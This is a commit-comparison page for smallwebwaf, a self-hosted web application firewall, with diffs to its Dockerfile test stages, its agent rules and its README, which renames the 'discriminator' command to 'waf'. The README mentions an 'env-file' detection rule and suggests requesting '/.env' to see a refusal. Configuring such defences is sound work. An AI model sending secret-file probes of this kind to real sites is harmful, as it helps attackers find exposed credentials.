Compare commits
55
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
e422a5b10d | ||
|
|
d9aaed636e | ||
|
|
75f30a34b2 | ||
|
|
4b62bc84ce | ||
|
|
4ebe8be8c1 | ||
|
|
0b23352767 | ||
|
|
63e58e326b | ||
|
|
f9bec5146b | ||
|
|
883969a9cd | ||
|
|
b6aa2cbc4b | ||
|
|
697c2225d9 | ||
|
|
b93bad5842 | ||
|
|
1748a670f9 | ||
|
|
83525b5e73 | ||
|
|
6a59011dee | ||
|
|
e3c5b4ecf8 | ||
|
|
6e370b346b | ||
|
|
eba697af48 | ||
|
|
b9cfbc7fcb | ||
|
|
f077dd7fd0 | ||
|
|
81ec6f9bf5 | ||
|
|
7b52574e5b | ||
|
|
f76308add3 | ||
|
|
937d956d3a | ||
|
|
b89c53c640 | ||
|
|
803a9e9dd8 | ||
|
|
9bcbe5a3c8 | ||
|
|
f7e3190654 | ||
|
|
ad36dd1775 | ||
|
|
cb6b73a0be | ||
|
|
83f50dd11f | ||
|
|
e2b27d1c7c | ||
|
|
f64752e3b7 | ||
|
|
abb8a26a48 | ||
|
|
aeaa9d1c77 | ||
|
|
db0912b335 | ||
|
|
8ab4280792 | ||
|
|
3268ec95c1 | ||
|
|
fb25f5ebd2 | ||
|
|
f8d769fc17 | ||
|
|
2ac7f1ccbf | ||
|
|
463a19ef2a | ||
|
|
c557b175ad | ||
|
|
3b987b9074 | ||
|
|
2d83961900 | ||
|
|
183a6072d5 | ||
|
|
20e4b3b080 | ||
|
|
3d9e3976b0 | ||
|
|
56d6a12cc2 | ||
|
|
922fe0cf71 | ||
|
|
d70fb34f40 | ||
|
|
c1bb813a5e | ||
|
|
9aa5b303cf | ||
|
|
e29dacad63 | ||
|
|
9e7a7e60c7 |
No files matched your search
@@ -37,3 +37,6 @@ These are the rules for agents working on this repository.
|
|||||||
- `192.168.0.0/16`.
|
- `192.168.0.0/16`.
|
||||||
- `SPEC.md` states that default.
|
- `SPEC.md` states that default.
|
||||||
- Forwarded headers count only when the peer is a trusted proxy.
|
- Forwarded headers count only when the peer is a trusted proxy.
|
||||||
|
- Every time is in UTC, whatever `TZ` or the host's time zone says.
|
||||||
|
- Every day is a date written `YYYY-MM-DD`, never a time.
|
||||||
|
- `SPEC.md` states this near its start.
|
||||||
+44
-7
@@ -12,7 +12,7 @@ RUN go mod download
|
|||||||
|
|
||||||
COPY . .
|
COPY . .
|
||||||
|
|
||||||
RUN golangci-lint run --config .golangci.yml ./...
|
RUN golangci-lint run --config .golangci.yml --build-tags recorded ./...
|
||||||
|
|
||||||
# Test phase, same shape and for the same reason. The go directive in
|
# Test phase, same shape and for the same reason. The go directive in
|
||||||
# go.mod is a minimum, so this Go may be newer than the linter's. The
|
# go.mod is a minimum, so this Go may be newer than the linter's. The
|
||||||
@@ -20,7 +20,7 @@ RUN golangci-lint run --config .golangci.yml ./...
|
|||||||
# needs the C compiler it carries.
|
# needs the C compiler it carries.
|
||||||
#
|
#
|
||||||
# golang 1.27.1-trixie, 2026-09-19
|
# golang 1.27.1-trixie, 2026-09-19
|
||||||
FROM golang@sha256:3b77fc618ec235a1ab412de7737f120dd507c57e8d87de4cbb7994fb94275ed5 AS test
|
FROM golang@sha256:3b77fc618ec235a1ab412de7737f120dd507c57e8d87de4cbb7994fb94275ed5 AS test-setup
|
||||||
|
|
||||||
WORKDIR /src
|
WORKDIR /src
|
||||||
|
|
||||||
@@ -35,13 +35,50 @@ COPY . .
|
|||||||
RUN go mod tidy -diff || \
|
RUN go mod tidy -diff || \
|
||||||
{ echo "go.mod or go.sum is not tidy: run make tidy" >&2; exit 1; }
|
{ echo "go.mod or go.sum is not tidy: run make tidy" >&2; exit 1; }
|
||||||
|
|
||||||
|
# The two passes below are separate stages so that BuildKit runs them at
|
||||||
|
# the same time; they share no compiled code, because -race changes every
|
||||||
|
# package's build.
|
||||||
|
#
|
||||||
# Go's build cache is kept on a tmpfs, out of the image: nothing uses it
|
# Go's build cache is kept on a tmpfs, out of the image: nothing uses it
|
||||||
# after this step, and writing it into the image takes seconds. The tests
|
# after this step, and writing it into the image takes seconds. The tests
|
||||||
# are built with the no_fs_access tag, as the binary is in the build stage.
|
# are built with the no_fs_access tag, as the binary is in the build stage.
|
||||||
|
#
|
||||||
|
# The race detector finds bugs only in code that runs in several goroutines
|
||||||
|
# at once. Of the Core Rule Set's tests, this pass runs only those written
|
||||||
|
# to check concurrent inspection, whose names start with TestConcurrent.
|
||||||
|
# The second pass runs the rest.
|
||||||
|
FROM test-setup AS test-race
|
||||||
|
|
||||||
RUN --mount=type=tmpfs,target=/root/.cache/go-build \
|
RUN --mount=type=tmpfs,target=/root/.cache/go-build \
|
||||||
go test -tags no_fs_access -timeout 90s -race -cover ./... || \
|
others="$(go list ./... | grep -vxF sneak.berlin/go/smallwebwaf/internal/coreruleset)"; \
|
||||||
|
{ go test -tags no_fs_access -timeout 90s -race -cover $others && \
|
||||||
|
go test -tags no_fs_access -timeout 90s -race -cover \
|
||||||
|
-run '^TestConcurrent' ./internal/coreruleset; } || \
|
||||||
{ echo "--- Rerunning with -v for details ---"; \
|
{ echo "--- Rerunning with -v for details ---"; \
|
||||||
go test -tags no_fs_access -timeout 90s -race -v ./...; exit 1; }
|
go test -tags no_fs_access -timeout 90s -race -v $others; \
|
||||||
|
go test -tags no_fs_access -timeout 90s -race -v \
|
||||||
|
-run '^TestConcurrent' ./internal/coreruleset; \
|
||||||
|
exit 1; }
|
||||||
|
|
||||||
|
# Second pass: every other test of the Core Rule Set, the recorded requests
|
||||||
|
# among them, without the race detector.
|
||||||
|
FROM test-setup AS test-recorded
|
||||||
|
|
||||||
|
RUN --mount=type=tmpfs,target=/root/.cache/go-build \
|
||||||
|
go test -tags no_fs_access,recorded -timeout 90s -cover \
|
||||||
|
-skip '^TestConcurrent' ./internal/coreruleset || \
|
||||||
|
{ echo "--- Rerunning with -v for details ---"; \
|
||||||
|
go test -tags no_fs_access,recorded -timeout 90s -v \
|
||||||
|
-skip '^TestConcurrent' ./internal/coreruleset; \
|
||||||
|
exit 1; }
|
||||||
|
|
||||||
|
# The test phase that script/test and the build stage name. Nothing is
|
||||||
|
# wanted from the two passes; the copies are what make BuildKit run them.
|
||||||
|
# It holds nothing else, so script/test's image takes no time to write.
|
||||||
|
FROM scratch AS test
|
||||||
|
|
||||||
|
COPY --from=test-race /src/go.sum /src/go.sum
|
||||||
|
COPY --from=test-recorded /src/go.sum /src/go.sum
|
||||||
|
|
||||||
# Tidy stage: `go mod tidy` in the test phase's Go, so that the files it
|
# Tidy stage: `go mod tidy` in the test phase's Go, so that the files it
|
||||||
# writes pass the test phase's check. Nothing else depends on it, so only
|
# writes pass the test phase's check. Nothing else depends on it, so only
|
||||||
@@ -118,7 +155,7 @@ RUN git checkout --quiet --detach b4b2c785308b1ce785b6155c7fe5f16879080193 \
|
|||||||
-o /usr/local/bin/runsvinit .
|
-o /usr/local/bin/runsvinit .
|
||||||
|
|
||||||
# The image, described under "Deployment" in SPEC.md. It runs rproxy unless
|
# The image, described under "Deployment" in SPEC.md. It runs rproxy unless
|
||||||
# SWW_COMMAND says discriminator, and an app's Dockerfile can build FROM it.
|
# SWW_COMMAND says waf, and an app's Dockerfile can build FROM it.
|
||||||
# It is the last stage, so a plain `docker build .` builds it.
|
# It is the last stage, so a plain `docker build .` builds it.
|
||||||
#
|
#
|
||||||
# ubuntu 26.04, 2026-09-27
|
# ubuntu 26.04, 2026-09-27
|
||||||
@@ -185,8 +222,8 @@ RUN groupadd --system --gid 65532 sww \
|
|||||||
sww
|
sww
|
||||||
|
|
||||||
# The state files' directory, SWW_STATE_DIR by default, where a volume
|
# The state files' directory, SWW_STATE_DIR by default, where a volume
|
||||||
# is mounted to keep them across deploys. The run script gives it to the
|
# is mounted to keep them across deploys. At each start of waf, the run
|
||||||
# sww user at each start of discriminator.
|
# script makes SWW_STATE_DIR if it is missing and gives it to the sww user.
|
||||||
RUN mkdir /var/lib/sww
|
RUN mkdir /var/lib/sww
|
||||||
|
|
||||||
# The default rule file, in SWW_RULES_DIR by default, where a Dockerfile
|
# The default rule file, in SWW_RULES_DIR by default, where a Dockerfile
|
||||||
|
|||||||
@@ -11,16 +11,15 @@ refuses the ones that look like abuse. `smallwebwaf` is one program, `sww`,
|
|||||||
shipped in one image, with two commands that do this together:
|
shipped in one image, with two commands that do this together:
|
||||||
|
|
||||||
- `sww rproxy` is a small reverse proxy in front of one app. traefik routes to
|
- `sww rproxy` is a small reverse proxy in front of one app. traefik routes to
|
||||||
it. It asks `discriminator` about each request, passes the allowed ones to the
|
it. It asks `waf` about each request, passes the allowed ones to the app, and
|
||||||
app, and passes the app's answers back. It keeps nothing and never touches
|
passes the app's answers back. It keeps nothing and never touches disk.
|
||||||
disk.
|
- `sww waf` decides. It runs the checks and keeps the bans, the counters and
|
||||||
- `sww discriminator` decides. It runs the checks and keeps the bans, the
|
each client's history. One `waf` serves many sites: a client banned through
|
||||||
counters and each client's history. One `discriminator` serves many sites: a
|
one site is refused on all of them, and its requests on all of them count
|
||||||
client banned through one site is refused on all of them, and its requests on
|
toward one set of limits.
|
||||||
all of them count toward one set of limits.
|
|
||||||
|
|
||||||
The site keeps answering while `discriminator` is down, slow or restarting:
|
The site keeps answering while `waf` is down, slow or restarting: without an
|
||||||
without an answer in time, `rproxy` passes the request to the app.
|
answer in time, `rproxy` passes the request to the app.
|
||||||
|
|
||||||
It protects against:
|
It protects against:
|
||||||
|
|
||||||
@@ -80,11 +79,11 @@ make docker
|
|||||||
|
|
||||||
Push the image to a registry your hosts pull from, and name it there by digest.
|
Push the image to a registry your hosts pull from, and name it there by digest.
|
||||||
|
|
||||||
The image runs `rproxy` by default. To run `discriminator` from the same image,
|
The image runs `rproxy` by default. To run `waf` from the same image, set the
|
||||||
set the container's `SWW_COMMAND` to `discriminator`. The image's health check
|
container's `SWW_COMMAND` to `waf`. The image's health check follows the
|
||||||
follows the command: in `rproxy`'s container it passes once `rproxy` answers and
|
command: in `rproxy`'s container it passes once `rproxy` answers and the app
|
||||||
the app accepts connections, whether or not `discriminator` answers; in
|
accepts connections, whether or not `waf` answers; in `waf`'s container, once
|
||||||
`discriminator`'s container, once `discriminator` answers.
|
`waf` answers.
|
||||||
|
|
||||||
### The usual setup: three containers
|
### The usual setup: three containers
|
||||||
|
|
||||||
@@ -92,24 +91,24 @@ The usual setup is three containers on one private network:
|
|||||||
|
|
||||||
- the app;
|
- the app;
|
||||||
- `rproxy`, in front of the app, which traefik routes to: `SWRP_WAF_BACKEND`
|
- `rproxy`, in front of the app, which traefik routes to: `SWRP_WAF_BACKEND`
|
||||||
names `discriminator` and `SWRP_UPSTREAM_URL` names the app;
|
names `waf` and `SWRP_UPSTREAM_URL` names the app;
|
||||||
- `discriminator`, with `SWW_COMMAND=discriminator` and a volume at
|
- `waf`, with `SWW_COMMAND=waf` and a volume at `/var/lib/sww` for its state
|
||||||
`/var/lib/sww` for its state files.
|
files.
|
||||||
|
|
||||||
Point traefik's labels at port 8080 of `rproxy`
|
Point traefik's labels at port 8080 of `rproxy`
|
||||||
(`traefik.http.services.<name>.loadbalancer.server.port=8080`). Publish no port
|
(`traefik.http.services.<name>.loadbalancer.server.port=8080`). Publish no port
|
||||||
of the app or of `discriminator`. Anything on that network can reach the app
|
of the app or of `waf`. Anything on that network can reach the app around
|
||||||
around `rproxy`, and can ask `discriminator` questions, so the network holds
|
`rproxy`, and can ask `waf` questions, so the network holds only what you trust.
|
||||||
only what you trust. Each further app adds its own container and its own
|
Each further app adds its own container and its own `rproxy`, whose
|
||||||
`rproxy`, whose `SWRP_WAF_BACKEND` names the same `discriminator`. The "Smallest
|
`SWRP_WAF_BACKEND` names the same `waf`. The "Smallest setup" example below
|
||||||
setup" example below shows this shape.
|
shows this shape.
|
||||||
|
|
||||||
### `rproxy` in the app's container
|
### `rproxy` in the app's container
|
||||||
|
|
||||||
An app's image can instead be built on the `smallwebwaf` image, so that `rproxy`
|
An app's image can instead be built on the `smallwebwaf` image, so that `rproxy`
|
||||||
runs beside the app in one container. `discriminator` still runs in a container
|
runs beside the app in one container. `waf` still runs in a container of its
|
||||||
of its own. The app's `Dockerfile` starts `FROM` the `smallwebwaf` image, named
|
own. The app's `Dockerfile` starts `FROM` the `smallwebwaf` image, named by
|
||||||
by digest, and adds:
|
digest, and adds:
|
||||||
|
|
||||||
- the app's binary;
|
- the app's binary;
|
||||||
- the packages the app needs, from the nixpkgs in the image;
|
- the packages the app needs, from the nixpkgs in the image;
|
||||||
@@ -169,26 +168,25 @@ does.
|
|||||||
- A log line with `"msg":"starting"` gives the version, the address and every
|
- A log line with `"msg":"starting"` gives the version, the address and every
|
||||||
setting in effect, with secrets masked.
|
setting in effect, with secrets masked.
|
||||||
- A request to the site through traefik gets the app's answer.
|
- A request to the site through traefik gets the app's answer.
|
||||||
`https://<site>/_sww/healthz` answers `ok`. `discriminator`'s log lines about
|
`https://<site>/_sww/healthz` answers `ok`. `waf`'s log lines about the
|
||||||
the request have `"action":"forward"`.
|
request have `"action":"forward"`.
|
||||||
- To see a refusal without banning yourself, run `discriminator` with
|
- To see a refusal without banning yourself, run `waf` with `SWW_MODE=observe`
|
||||||
`SWW_MODE=observe` and ask for `/.env`. The request reaches the app.
|
and ask for `/.env`. The request reaches the app. `waf`'s log lines have
|
||||||
`discriminator`'s log lines have `"would_action":"temporarily_banned"` and
|
`"would_action":"temporarily_banned"` and `"rule_ids":["env-file"]`. A ban you
|
||||||
`"rule_ids":["env-file"]`. A ban you get in `enforce` mode is lifted as
|
get in `enforce` mode is lifted as "Clients and bans" below describes.
|
||||||
"Clients and bans" below describes.
|
|
||||||
- With `SWW_METRICS_TOKEN` set, this answers with the metrics, from a host on
|
- With `SWW_METRICS_TOKEN` set, this answers with the metrics, from a host on
|
||||||
`discriminator`'s network:
|
`waf`'s network:
|
||||||
`curl -H "Authorization: Bearer $TOKEN" http://discriminator:8080/_sww/metrics`.
|
`curl -H "Authorization: Bearer $TOKEN" http://waf:8080/_sww/metrics`.
|
||||||
- `make example-app` builds the image and an app on it, runs them, and checks
|
- `make example-app` builds the image and an app on it, runs them, and checks
|
||||||
the whole exchange (see "Entrypoints").
|
the whole exchange (see "Entrypoints").
|
||||||
|
|
||||||
## Configuration
|
## Configuration
|
||||||
|
|
||||||
Every setting is an environment variable, read once at start; changing one means
|
Every setting is an environment variable, read once at start; changing one means
|
||||||
restarting the container. `rproxy` reads only the `SWRP_` settings, and
|
restarting the container. `rproxy` reads only the `SWRP_` settings, and `waf`
|
||||||
`discriminator` only the `SWW_` ones. Every setting but `SWRP_WAF_BACKEND` has a
|
only the `SWW_` ones. Every setting but `SWRP_WAF_BACKEND` has a default, chosen
|
||||||
default, chosen for a service on the open internet. A setting that needs an
|
for a service on the open internet. A setting that needs an account, a key, a
|
||||||
account, a key, a token or an alert destination stays off until you give one.
|
token or an alert destination stays off until you give one.
|
||||||
|
|
||||||
- Any `SWW_` setting can be given as a file instead, for secrets and long lists:
|
- Any `SWW_` setting can be given as a file instead, for secrets and long lists:
|
||||||
`SWW_ADMIN_TOKEN_FILE` names the file that holds `SWW_ADMIN_TOKEN`. The file's
|
`SWW_ADMIN_TOKEN_FILE` names the file that holds `SWW_ADMIN_TOKEN`. The file's
|
||||||
@@ -222,23 +220,23 @@ Every setting the code reads, with its default:
|
|||||||
|
|
||||||
| Variable | Default | What it does |
|
| Variable | Default | What it does |
|
||||||
| ---------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
| ---------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `discriminator`. |
|
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `waf`. |
|
||||||
| `SWRP_WAF_BACKEND` | required | `discriminator`'s URL, such as `http://discriminator:8080`. |
|
| `SWRP_WAF_BACKEND` | required | `waf`'s URL, such as `http://waf:8080`. |
|
||||||
| `SWRP_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
|
| `SWRP_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
|
||||||
| `SWRP_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. |
|
| `SWRP_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. |
|
||||||
| `SWRP_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. |
|
| `SWRP_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. |
|
||||||
| `SWRP_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `discriminator`'s answer to a question and to a report, in milliseconds. |
|
| `SWRP_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `waf`'s answer to a question and to a report, in milliseconds. |
|
||||||
| `SWRP_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `discriminator` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. |
|
| `SWRP_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `waf` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. |
|
||||||
| `SWRP_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. |
|
| `SWRP_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. |
|
||||||
| `SWRP_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. |
|
| `SWRP_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. |
|
||||||
| `SWRP_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. |
|
| `SWRP_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. |
|
||||||
| `SWRP_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. |
|
| `SWRP_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. |
|
||||||
| `SWW_LISTEN_ADDR` | `:8080` | Where `discriminator` listens; leave the host part empty. |
|
| `SWW_LISTEN_ADDR` | `:8080` | Where `waf` listens; leave the host part empty. |
|
||||||
| `SWW_INSTANCE_NAME` | the container's host name | The name in every line `discriminator` logs, and in every alert and metric, such as `fsn1/discriminator`. |
|
| `SWW_INSTANCE_NAME` | the container's host name | The name in every line `waf` logs, and in every alert and metric, such as `fsn1/waf`. |
|
||||||
| `SWW_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. |
|
| `SWW_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. |
|
||||||
| `SWW_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. |
|
| `SWW_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. |
|
||||||
| `SWW_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. |
|
| `SWW_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. |
|
||||||
| `SWW_MAX_BANS` | `5000` | The most bans `discriminator` keeps of its own; bans an admin made do not count. |
|
| `SWW_MAX_BANS` | `5000` | The most bans `waf` keeps of its own; bans an admin made do not count. |
|
||||||
| `SWW_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. |
|
| `SWW_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. |
|
||||||
| `SWW_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. |
|
| `SWW_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. |
|
||||||
| `SWW_DENY_NETS` | empty | Netblocks whose clients are refused. |
|
| `SWW_DENY_NETS` | empty | Netblocks whose clients are refused. |
|
||||||
@@ -280,6 +278,7 @@ Every setting the code reads, with its default:
|
|||||||
| `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
|
| `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
|
||||||
| `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
|
| `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
|
||||||
| `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
|
| `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
|
||||||
|
| `SWW_APPS` | unset | The apps each hostname serves, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. "Attack detection" lists the apps. Listing `forgejo` brings gitea's fixes too. Unset, every app's fixes apply to every hostname. |
|
||||||
| `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
|
| `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
|
||||||
| `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
|
| `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
|
||||||
| `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
|
| `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
|
||||||
@@ -295,10 +294,11 @@ Every setting the code reads, with its default:
|
|||||||
| `SWW_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. |
|
| `SWW_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. |
|
||||||
| `SWW_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
|
| `SWW_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
|
||||||
| `SWW_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
|
| `SWW_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
|
||||||
| `SWW_STATE_COUNTER_INTERVAL` | `15m` | How often every state file is written. |
|
| `SWW_STATE_COUNTER_INTERVAL` | `15m` | How often every state and cache file is written. |
|
||||||
| `SWW_LOG_LEVEL` | `info` | The least severe of `discriminator`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
|
| `SWW_CACHE_DIR` | `/var/cache/sww` | The directory of the cache files, an absolute path. |
|
||||||
|
| `SWW_LOG_LEVEL` | `info` | The least severe of `waf`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
|
||||||
| `SWW_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
|
| `SWW_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
|
||||||
| `SWW_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `discriminator` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
|
| `SWW_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `waf` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
|
||||||
| `SWW_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. |
|
| `SWW_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. |
|
||||||
| `SWW_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. |
|
| `SWW_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. |
|
||||||
| `SWW_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. |
|
| `SWW_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. |
|
||||||
@@ -351,8 +351,8 @@ own, where each reaches the others by service name. Each example publishes
|
|||||||
|
|
||||||
### Smallest setup
|
### Smallest setup
|
||||||
|
|
||||||
One app, `rproxy` in front of it, and `discriminator` with a volume for its
|
One app, `rproxy` in front of it, and `waf` with a volume for its state files,
|
||||||
state files, every setting at its default.
|
every setting at its default.
|
||||||
|
|
||||||
```yaml
|
```yaml
|
||||||
services:
|
services:
|
||||||
@@ -363,20 +363,20 @@ services:
|
|||||||
rproxy:
|
rproxy:
|
||||||
image: smallwebwaf
|
image: smallwebwaf
|
||||||
environment:
|
environment:
|
||||||
SWRP_WAF_BACKEND: http://discriminator:8080
|
SWRP_WAF_BACKEND: http://waf:8080
|
||||||
SWRP_UPSTREAM_URL: http://app:8081
|
SWRP_UPSTREAM_URL: http://app:8081
|
||||||
ports:
|
ports:
|
||||||
- "8080:8080"
|
- "8080:8080"
|
||||||
|
|
||||||
discriminator:
|
waf:
|
||||||
image: smallwebwaf
|
image: smallwebwaf
|
||||||
environment:
|
environment:
|
||||||
SWW_COMMAND: discriminator
|
SWW_COMMAND: waf
|
||||||
volumes:
|
volumes:
|
||||||
- discriminator-state:/var/lib/sww
|
- waf-state:/var/lib/sww
|
||||||
|
|
||||||
volumes:
|
volumes:
|
||||||
discriminator-state:
|
waf-state:
|
||||||
```
|
```
|
||||||
|
|
||||||
### Custom per-address limits
|
### Custom per-address limits
|
||||||
@@ -399,15 +399,15 @@ services:
|
|||||||
rproxy:
|
rproxy:
|
||||||
image: smallwebwaf
|
image: smallwebwaf
|
||||||
environment:
|
environment:
|
||||||
SWRP_WAF_BACKEND: http://discriminator:8080
|
SWRP_WAF_BACKEND: http://waf:8080
|
||||||
SWRP_UPSTREAM_URL: http://app:8081
|
SWRP_UPSTREAM_URL: http://app:8081
|
||||||
ports:
|
ports:
|
||||||
- "8080:8080"
|
- "8080:8080"
|
||||||
|
|
||||||
discriminator:
|
waf:
|
||||||
image: smallwebwaf
|
image: smallwebwaf
|
||||||
environment:
|
environment:
|
||||||
SWW_COMMAND: discriminator
|
SWW_COMMAND: waf
|
||||||
# Monitoring skips every check.
|
# Monitoring skips every check.
|
||||||
SWW_ALLOW_NETS: 192.0.2.10
|
SWW_ALLOW_NETS: 192.0.2.10
|
||||||
# The office and the automation host are never rate limited.
|
# The office and the automation host are never rate limited.
|
||||||
@@ -426,18 +426,18 @@ services:
|
|||||||
SWW_BAN_RESPONSE: "429"
|
SWW_BAN_RESPONSE: "429"
|
||||||
SWW_LIMIT_BAN_DURATION: 30m
|
SWW_LIMIT_BAN_DURATION: 30m
|
||||||
volumes:
|
volumes:
|
||||||
- discriminator-state:/var/lib/sww
|
- waf-state:/var/lib/sww
|
||||||
|
|
||||||
volumes:
|
volumes:
|
||||||
discriminator-state:
|
waf-state:
|
||||||
```
|
```
|
||||||
|
|
||||||
### `rproxy` beside the app
|
### `rproxy` beside the app
|
||||||
|
|
||||||
The app is built on the `smallwebwaf` image, with `rproxy` inside its container.
|
The app is built on the `smallwebwaf` image, with `rproxy` inside its container.
|
||||||
`app/` holds the `Dockerfile` and `app.run` from "`rproxy` in the app's
|
`app/` holds the `Dockerfile` and `app.run` from "`rproxy` in the app's
|
||||||
container". `rproxy` answers `503` to every request while `discriminator` is
|
container". `rproxy` answers `503` to every request while `waf` is down, and
|
||||||
down, and `discriminator`:
|
`waf`:
|
||||||
|
|
||||||
- observes before it enforces;
|
- observes before it enforces;
|
||||||
- looks addresses up in a local database rather than GeoJS;
|
- looks addresses up in a local database rather than GeoJS;
|
||||||
@@ -450,17 +450,17 @@ services:
|
|||||||
# A Dockerfile built FROM the smallwebwaf image, with rproxy inside.
|
# A Dockerfile built FROM the smallwebwaf image, with rproxy inside.
|
||||||
build: ./app
|
build: ./app
|
||||||
environment:
|
environment:
|
||||||
SWRP_WAF_BACKEND: http://discriminator:8080
|
SWRP_WAF_BACKEND: http://waf:8080
|
||||||
# Answer 503 rather than pass a request on while discriminator is down.
|
# Answer 503 rather than pass a request on while waf is down.
|
||||||
SWRP_DEFAULT_DISPOSITION: deny
|
SWRP_DEFAULT_DISPOSITION: deny
|
||||||
ports:
|
ports:
|
||||||
- "8080:8080"
|
- "8080:8080"
|
||||||
|
|
||||||
discriminator:
|
waf:
|
||||||
image: smallwebwaf
|
image: smallwebwaf
|
||||||
environment:
|
environment:
|
||||||
